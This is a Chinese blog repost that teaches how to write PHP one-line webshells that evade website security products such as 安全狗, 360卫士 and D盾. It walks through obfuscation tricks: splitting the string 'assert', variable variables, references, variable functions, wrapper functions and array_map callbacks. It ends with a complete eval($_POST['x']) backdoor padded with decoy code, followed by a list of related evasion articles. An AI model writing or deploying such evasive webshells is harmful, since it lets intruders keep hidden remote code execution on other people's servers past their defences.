PHP一句话过狗、卫士、D盾等免杀思路!
原文转载于:http://www.legendsec.org/1701.html
觉得写得还算蛮科普的。
00x1.关键字拆分。
比如assert,可以写成 ‘a’.’ss’.’e’.’r’.’t’这样。
总结:这种方法虽然简单,但是却没有太强的免杀功效,需要结合其他方法。
00x2.可变变量、引用、可变函数。
可变变量 比如$a=$_POST[‘x’];$b=’a’;@eval($$b);
测试结果:
总结:这种方法对狗等WAF可以绕过哦~但是对于D盾这种多规则的是无效的!
引用 比如$a=$_POST[‘x’];$b=&$a;@eval($b);
测试结果:
总结:这种方法与上一种方法类似。
可变函数 比如$a=’a’.’ss’.’e’.’r’.’t’;$a($_POST[‘x’]);
测试结果:
总结:这种方法对于狗、3卫士、D盾之类的均没有作用哦~
00x3.添加其他代码。
添加其他代码 比如 if(empty($a))
{
$a=$_POST[‘x’];
}
@eval($a);
测试结果:
总结:这种方法比较适合脑洞比较大的小伙伴们~
00x4.函数替换。
使用其他函数,比如eval可以使用assert替换。
总结:这种方法适合eval函数被禁用时使用哦~
00x5.封装到新的函数中。
新定义一个函数,使其封装到新函数中。
function test($a){ //定义一个名为test的函数,并使用$a接受参数
eval($a);
}
test($_POST[‘x’]);
测试结果:
总结:这种方法适合有PHP基础的人哦,姿势风骚~不怕不过!
00x6.函数回调。
使用其他函数进行调用,并执行。
如:array_map(‘a’.’s’.’se’.’r’.’t’,array($_POST[‘x’]));
测试结果:
总结:这种方法适合有PHP基础的人哦~这种方法绝对过WAF哦~
00x7.利用各种方法的特性写出过WAF的一句话。
<?php
function test($a){ //利用所学的封装函数
if (empty($a)){ //利用所学的添加其他代码
$a=”echo ‘QQ:xxxxxxx’;”; //使用这句代码扰乱D盾的判断
}
@eval($a);
}
@test($_POST[‘x’]);
?>
测试结果:
THE END
PHP一句话过狗、卫士、D盾等免杀思路!的更多相关文章
- 免杀PHP一句话一枚
免杀PHP一句话shell,利用随机异或免杀D盾,免杀安全狗护卫神等 <?php class VONE { function HALB() { $rlf = 'B' ^ "\x23&q ...
- PHP一句话简单免杀
PHP一句话简单免杀 原型 几种已经开源的免杀思路 拆解合并 <?php $ch = explode(".","hello.ev.world.a.l"); ...
- 绕过网站安全狗拦截,上传Webshell技巧总结(附免杀PHP一句话)
这篇文章我介绍一下我所知道的绕过网站安全狗上传WebShell的方法. 思路是:修改HTTP请求,构成畸形HTTP请求,然后绕过网站安全狗的检测. 废话不多说,切入正题.... 1.实验环境: Win ...
- PHP一句话木马Webshell变形免杀总结
0×00 前言 大部分Webshell查杀工具都是基于关键字特征的,通常他们会维护一个关键字列表,以此遍历指定扩展名的文件来进行扫描,所以可能最先想到的是各种字符串变形,下面总结了一些小的方法,各种不 ...
- 免杀ASP一句话
<% wei="日日日)""wei""(tseuqer lave 日" execute(UnEncode(wei)) function ...
- 关于php一句话免杀的分析<转载>
一开始想这样: <?php $_GET['ts7']($_POST['cmd']);?> 客户端用菜刀,密码cmd,url为test.php?ts7=assert 这个应该算没有什 ...
- php中转菜刀脚本过狗免杀
<?php $target="url";//shell 地址 菜刀连这个脚本做中转 $post=''; $i=0; foreach($_POST AS $K=>$V) ...
- 一句话木马:PHP篇
珍藏版: 一个简单的过D盾的免杀php <?php $ab = $_REQUEST['d']; $a['t'] = "";//主要带对象 D盾就不管后面的了... eval( ...
- Webshell免杀研究
前言 不想当将军的士兵不是好士兵,不想getshell的Hacker不是好Hacker~有时候我们在做攻防对抗时经常会碰到可以上传webshell的地方,但是经常会被安全狗.D盾.护卫神.云锁等安全软 ...
随机推荐
- 10月14日下午MySQL数据库基础
数据库基础 类型: 1.varchar:字符串,用于姓名班级,地址等,地址一般长50,姓名长20 2.int:整数,用于成绩,序号等 3.float:小数 4.bit:布尔型,用于性别等 5.时间也用 ...
- VM安装linux
看图简单流程即可.注意磁盘空间至少30G,实用oracle数据库时需要更大,可以后期增加. 静待安装完成即可.一定记得创建的用户名及密码,及root用户的密码.
- 删除ibus之后导致系统设置进不了
sudo apt-get instal ubuntu-desktop 快捷键调出sogou拼音,默认为"ctrl+,"
- FreeImage使用
http://blog.csdn.net/byxdaz/article/details/6056509 http://blog.chinaunix.net/uid-20660110-id-65639. ...
- JavaScript Engines
http://openaphid.github.io/blog/2013/01/17/part-i-how-to-choose-a-javascript-engine-for-ios-and-andr ...
- jquery mobile 图片自适应问题
解决办法: 加入一段css <link rel="stylesheet" href="http://jquerymobile.com/demos/1.1.0/doc ...
- vertical-align0 垂直对齐- 图片 兼容个浏览器
效果: 代码: <html> <head> <style type="text/css"> img.top {vertical-align:t ...
- imageserver
https://bitbucket.org/tamtam-nl/tamtam-nuget-imageserver/overview https://www.nuget.org/packages/Tam ...
- aop测试jdk代理机制
//测试jdk代理机制 @Test public void testProxy(){ final UsbDisk usbDisk = new UsbDisk(); //类加载器,接口,匿名内部类 // ...
- C# Thread挂起线程和恢复线程
前言 众所周知,Thread类中的挂起线程和恢复线程微软已标记过时,因为可能会造成问题 Resume() 恢复当前线程 已过时. Resumes a thread that has been ...